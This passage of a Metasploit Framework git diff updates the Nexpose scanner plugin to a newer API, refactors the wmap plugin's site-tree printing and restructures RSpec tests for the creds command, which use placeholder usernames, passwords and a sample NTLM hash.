Nexpose::SiteCredentials.for_service("Metasploit Site Credential #{msfid}", nil, nil, nil, nil, type) + newcreds.user_name = user + newcreds.password = pass opt_credentials << newcreds else print_error("Unrecognized Nexpose scan credentials: #{val}") @@ -482,33 +495,24 @@ class Plugin::Nexpose < Msf::Plugin msfid = Time.now.to_i # Create a temporary site - site = Nexpose::Site.new(@nsc) - site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") - queue.each do |ip| - site.site_config.addHost(Nexpose::IPRange.new(ip)) - end - site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) - opt_credentials.each do |c| - site.site_config.addCredentials(c) - end - site.saveSite() + site = Nexpose::Site.new(nil, opt_template) + site.name = "Metasploit-#{msfid}" + site.description = "Autocreated by the Metasploit Framework" + site.included_addresses = queue + site.site_credentials = opt_credentials + site.save(@nsc) - print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose + print_status(" >> Created temporary site ##{site.id}") if opt_verbose report_formats = ["raw-xml-v2", "ns-xml"] report_format = report_formats.shift - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id(opt_template) - - report.addFilter("SiteFilter", site.site_id) - report.set_generate_after_scan(1) - report.set_storeOnServer(1) + report = Nexpose::ReportConfig.build(@nsc, site.id, site.name, opt_template, report_format, true) + report.delivery = Nexpose::Delivery.new(true) begin - report.set_format(report_format) - report.saveReport() + report.format = report_format + report.save(@nsc, true) rescue ::Exception => e report_format = report_formats.shift if report_format @@ -517,18 +521,19 @@ class Plugin::Nexpose < Msf::Plugin raise e end - print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose + print_status(" >> Created temporary report configuration ##{report.id}") if opt_verbose # Run the scan begin - res = site.scanSite() + res = site.scan(@nsc) rescue Nexpose::APIError => e nexpose_error_message = e.message nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '') print_error "#{nexpose_error_message}" return end - sid = res[:scan_id] + + sid = res.id print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose @@ -537,8 +542,8 @@ class Plugin::Nexpose < Msf::Plugin prev = nil while(true) info = @nsc.scan_statistics(sid) - break if info[:summary]['status'] != "running" - stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" + break if info.status != "running" + stat = "Found #{info.nodes.live} devices and #{info.nodes.dead} unresponsive" if(stat != prev) print_status(" >> #{stat}") if opt_verbose end @@ -549,18 +554,19 @@ class Plugin::Nexpose < Msf::Plugin rescue ::Interrupt rep = false print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose - @nsc.scan_stop(sid) + @nsc.stop_scan(sid) break end # Wait for the automatic report generation to complete if(rep) print_status(" >> Waiting on the report to generate...") if opt_verbose - url = nil - while(! url) - url = @nsc.report_last(report.config_id) + last_report = nil + while(! last_report) + last_report = @nsc.last_report(report.id) select(nil, nil, nil, 1.0) end + url = last_report.uri print_status(" >> Downloading the report data from Nexpose...") if opt_verbose data = @nsc.download(url) @@ -576,8 +582,18 @@ class Plugin::Nexpose < Msf::Plugin end if ! opt_preserve + # Make sure the scan has finished clean up before attempting to delete the site + while (true) + info = @nsc.scan_statistics(sid) + break if info.status == 'stopped' || info.status == 'finished' + select(nil, nil, nil, 5.0) + end print_status(" >> Deleting the temporary site and report...") if opt_verbose - @nsc.site_delete(site.site_id) + begin + @nsc.delete_site(site.id) + rescue ::Nexpose::APIError => e + print_status(" >> Deletion of temporary site and report failed: #{e.inspect}") + end end end @@ -675,3 +691,15 @@ class Plugin::Nexpose < Msf::Plugin end end end + +module Nexpose + class IPRange + def to_json + if @to.present? + "#{@from} - #{@to}".to_json + else + @from.to_json + end + end + end +end diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 4b9c02cd08..2a3b294a0d 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # This plugin provides integration with OpenVAS. Written by kost and # averagesecurityguy. diff --git a/plugins/wmap.rb b/plugins/wmap.rb index b6c6ab7fb3..ad3c64e0ea 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin when '-s' u = args.shift l = args.shift - s = args.shift + o = args.shift - if not u - return - end + return unless u if l == nil or l.empty? l = 200 - s = true + o = 'true' else - l = l.to_i - s = false + # Add check if unicode parameters is the second one + if l == 'true' or l == 'false' + o = l + l = 200 + else + l = l.to_i + end end + o = (o == 'true') + if u.include? 'http' # Parameters are in url form - view_site_tree(u,l,s) + view_site_tree(u,l,o) else # Parameters are digits if !self.lastsites or self.lastsites.length == 0 @@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if target_whitelist.length == 0 - if not self.targets - self.targets = Hash.new() - end + unless self.targets + self.targets = Hash.new() + end target_whitelist.each do |ent| - view_site_tree(ent,l,s) + view_site_tree(ent,l,o) end end return @@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin print_line("\t-a [url] Add site (vhost,url)") print_line("\t-d [ids] Delete sites (separate ids with space)") print_line("\t-l List all available sites") - print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") - + print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)") print_line("") return else @@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if site_whitelist.length == 0 - vsites = Hash.new() - site_whitelist.each do |ent| vhost,target = ent host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host + unless host print_error("No matching host for #{target.host}") next end serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv + unless serv print_error("No matching service for #{target.host}:#{target.port}") next end @@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin end end + # Private function to avoid duplicate code + def load_tree_core(req, wtree) + pathchr = '/' + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + # # Load website structure into a tree # - def load_tree(s) - - pathchr = '/' - wtree = Tree.new(s.vhost) # Load site pages s.web_pages.order('path asc').each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) + if req.code != 404 + load_tree_core(req, wtree) end end # Load site forms s.web_forms.each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end + load_tree_core(req, wtree) end - return wtree + wtree + end + + def print_file(filename) + ext = File.extname(filename) + if %w(.txt .md).include? ext + print '%bld%red' + elsif %w(.css .js).include? ext + print '%grn' + end + + print_line("#{ filename }%clr") end # - # Print Tree structure. Still ugly + # Recursive function for printing the tree structure # + def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode) + if tree != nil and tree.depth <= max_level + print (' ' * indent) - def print_tree(tree, ip, maxlevel, limitlevel) - initab = " " * 4 - indent = 6 - if tree != nil and tree.depth <= maxlevel - print initab + (" " * indent * tree.depth) - if tree.depth > 0 - print "|"+("-" * (indent-1))+"/" - end - if tree.depth >= 0 - if tree.depth == 0 - print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" - + # Prefix serve to print the superior hierarchy + prefix.each { |bool| + if unicode + print (bool ? ' ' : '│') + (' ' * 3) else - c = tree.children.count - if c > 0 - print tree.name + " (" + c.to_s+")\n" - else - print tree.name + "\n" - end + print (bool ? ' ' : '|') + (' ' * 3) end + } + if unicode + # The last children is special + print (is_last ? '└' : '├') + ('─' * 2) + ' ' + else + print (is_last ? '`' : '|') + ('-' * 2) + ' ' end - tree.children.each_pair do |name,child| - print_tree(child,ip,maxlevel,limitlevel) + c = tree.children.count + + if c > 0 + print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })" + else + print_file tree.name + end + + i = 1 + new_prefix = prefix + [is_last] + tree.children.each_pair { |_,child| + is_last = !(i < c) + print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode) + i += 1 + } + end + end + + # + # Print Tree structure. Less ugly + # Modified by Jon P. + # + def print_tree(tree, ip, max_level, unicode) + indent = 4 + if tree != nil and tree.depth <= max_level + if tree.depth == 0 + print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr" + end + + i = 1 + c = tree.children.count + tree.children.each_pair do |_,child| + print_tree_recursive(child, max_level, indent, [], !(i < c), unicode) + i += 1 end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb index 5b77460b24..8fb4534f0d 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb @@ -21,427 +21,454 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do let(:password) { 'thispass' } let(:realm) { 'thisrealm' } let(:realm_type) { 'Active Directory Domain' } - describe '-u' do - let(:nomatch_username) { 'thatuser' } - let(:nomatch_password) { 'thatpass' } - let(:blank_username) { '' } - let(:blank_password) { '' } - let(:nonblank_username) { 'nonblank_user' } - let(:nonblank_password) { 'nonblank_pass' } + context 'Searching' do + describe '-u' do + let(:nomatch_username) { 'thatuser' } + let(:nomatch_password) { 'thatpass' } + let(:blank_username) { '' } + let(:blank_password) { '' } + let(:nonblank_username) { 'nonblank_user' } + let(:nonblank_password) { 'nonblank_pass' } - let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } - - before(:example) do - priv = FactoryGirl.create(:metasploit_credential_password, data: password) - pub = FactoryGirl.create(:metasploit_credential_username, username: username) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) - blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) - nonblank_priv = FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: nonblank_priv, - public: blank_pub, - realm: nil, - workspace: framework.db.workspace) - nonblank_pub = FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) - blank_priv = FactoryGirl.create(:metasploit_credential_password, data: blank_password) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: blank_priv, - public: nonblank_pub, - realm: nil, - workspace: framework.db.workspace) - end - - context 'when the credential is present' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-u', username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - - it 'should match a regular expression' do - creds.cmd_creds('-u', "^#{username}$") - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - - it 'should return nothing for a non-matching regular expression' do - creds.cmd_creds('-u', "^#{nomatch_username}$") - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - - context 'and when the username is blank' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-u', blank_username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' nonblank_pass Password' - ]) - end - end - context 'and when the password is blank' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-P', blank_password) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' nonblank_user Password' - ]) - end - end - end - - context 'when the credential is absent' do - context 'due to a nonmatching username' do - it 'should return a blank set' do - creds.cmd_creds('-u', nomatch_username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - end - context 'due to a nonmatching password' do - it 'should return a blank set' do - creds.cmd_creds('-P', nomatch_password) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - end - end - end - - describe '-t' do - context 'with an invalid type' do - it 'should print the list of valid types' do - creds.cmd_creds('-t', 'asdf') - expect(@error).to match_array [ - 'Unrecognized credential type asdf -- must be one of password,ntlm,hash' - ] - end - end - - context 'with valid types' do - let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } - - let!(:pub) do - FactoryGirl.create(:metasploit_credential_username, username: username) - end - let!(:password_core) do - priv = FactoryGirl.create(:metasploit_credential_password, data: password) + let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } + + let!(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } + let!(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } + let!(:blank_pub) { blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) } + let!(:nonblank_priv) { FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) } + let!(:nonblank_pub) { FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) } + let!(:blank_priv) { FactoryGirl.create(:metasploit_credential_password, data: blank_password) } + before(:example) do FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) + origin: origin, + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: nonblank_priv, + public: blank_pub, + realm: nil, + workspace: framework.db.workspace) + + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: blank_priv, + public: nonblank_pub, + realm: nil, + workspace: framework.db.workspace) end - # # Somehow this is hitting a unique constraint on Cores with the same - # # Public, even though it has a different Private. Skip for now - # let!(:ntlm_core) do - # priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), - # private: priv, - # public: pub, - # realm: nil, - # workspace: framework.db.workspace) - # end - # let!(:nonreplayable_core) do - # priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), - # private: priv, - # public: pub, - # realm: nil, - # workspace: framework.db.workspace) - # end - - after(:example) do - # ntlm_core.destroy - password_core.destroy - # nonreplayable_core.destroy - end - - context 'password' do - it 'should show just the password' do - creds.cmd_creds('-t', 'password') - # Table matching really sucks + context 'when the credential is present' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-u', username) expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - end - - context 'ntlm' do - it 'should show just the ntlm' do - skip 'Weird uniqueness constraint on Core (workspace_id, public_id)' - - creds.cmd_creds('-t', 'ntlm') - # Table matching really sucks - expect(@output).to =~ [ 'Credentials', '===========', '', - 'host service public private realm private_type', - '---- ------- ------ ------- ----- ------------', - " thisuser #{ntlm_hash} NTLM hash" + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + + it 'should match a regular expression' do + creds.cmd_creds('-u', "^#{username}$") + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + + it 'should return nothing for a non-matching regular expression' do + creds.cmd_creds('-u', "^#{nomatch_username}$") + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + + context 'and when the username is blank' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-u', blank_username) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' nonblank_pass Password' + ]) + end + end + context 'and when the password is blank' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-P', blank_password) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' nonblank_user Password' + ]) + end + end + end + + context 'when the credential is absent' do + context 'due to a nonmatching username' do + it 'should return a blank set' do + creds.cmd_creds('-u', nomatch_username) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + end + context 'due to a nonmatching password' do + it 'should return a blank set' do + creds.cmd_creds('-P', nomatch_password) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + end + end + end + + describe '-t' do + context 'with an invalid type' do + it 'should print the list of valid types' do + creds.cmd_creds('-t', 'asdf') + expect(@error).to match_array [ + 'Unrecognized credential type asdf -- must be one of password,ntlm,hash' ] end end - end - end - describe 'add' do - let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } - let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } + context 'with valid types' do + let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } - context 'username password and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: pub, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username and password' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'password and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: pub, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'private_types' do - context 'password' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "password:#{password}") - }.to change { Metasploit::Credential::Core.count }.by 1 + let!(:pub) do + FactoryGirl.create(:metasploit_credential_username, username: username) end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "password:#{password}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'ntlm' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "ntlm:#{priv.data}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "ntlm:#{priv.data}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'hash' do - let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "hash:#{priv.data}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "hash:#{priv.data}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'ssh-key' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } - before(:each) do - @file = Tempfile.new('id_rsa') - @file.write(priv.data) - @file.close - end - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do + let!(:password_core) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) FactoryGirl.create(:metasploit_credential_core, origin: FactoryGirl.create(:metasploit_credential_origin_import), private: priv, public: pub, realm: nil, workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") - }.to_not change { Metasploit::Credential::Core.count } + end + + # # Somehow this is hitting a unique constraint on Cores with the same + # # Public, even though it has a different Private. Skip for now + # let!(:ntlm_core) do + # priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) + # FactoryGirl.create(:metasploit_credential_core, + # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # private: priv, + # public: pub, + # realm: nil, + # workspace: framework.db.workspace) + # end + # let!(:nonreplayable_core) do + # priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') + # FactoryGirl.create(:metasploit_credential_core, + # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # private: priv, + # public: pub, + # realm: nil, + # workspace: framework.db.workspace) + # end + + after(:example) do + # ntlm_core.destroy + password_core.destroy + # nonreplayable_core.destroy + end + + context 'password' do + it 'should show just the password' do + creds.cmd_creds('-t', 'password') + # Table matching really sucks + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + end + + context 'ntlm' do + it 'should show just the ntlm' do + skip 'Weird uniqueness constraint on Core (workspace_id, public_id)' + + creds.cmd_creds('-t', 'ntlm') + # Table matching really sucks + expect(@output).to =~ [ + 'Credentials', + '===========', + '', + 'host service public private realm private_type', + '---- ------- ------ ------- ----- ------------', + " thisuser #{ntlm_hash} NTLM hash" + ] + end end end end - - context 'realm-types' do - Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| - context "#{short_name}" do - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } + end + describe 'Adding' do + let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } + let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } + let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } + context 'Cores with public privates and realms' do + context 'username password and realm' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'username and realm' do it 'creates a core if one does not exist' do expect { - creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: nil, - realm: r, - workspace: framework.db.workspace) + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: pub, + realm: r, + workspace: framework.db.workspace) expect { - creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'username and password' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'password and realm' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'username' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'private_types' do + context 'password' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "password:#{password}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "password:#{password}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'ntlm' do + let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "ntlm:#{priv.data}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "ntlm:#{priv.data}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'hash' do + let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "hash:#{priv.data}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "hash:#{priv.data}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'ssh-key' do + let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } + before(:each) do + @file = Tempfile.new('id_rsa') + @file.write(priv.data) + @file.close + end + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") }.to_not change { Metasploit::Credential::Core.count } end end end + context 'realm-types' do + Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| + context "#{short_name}" do + let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: 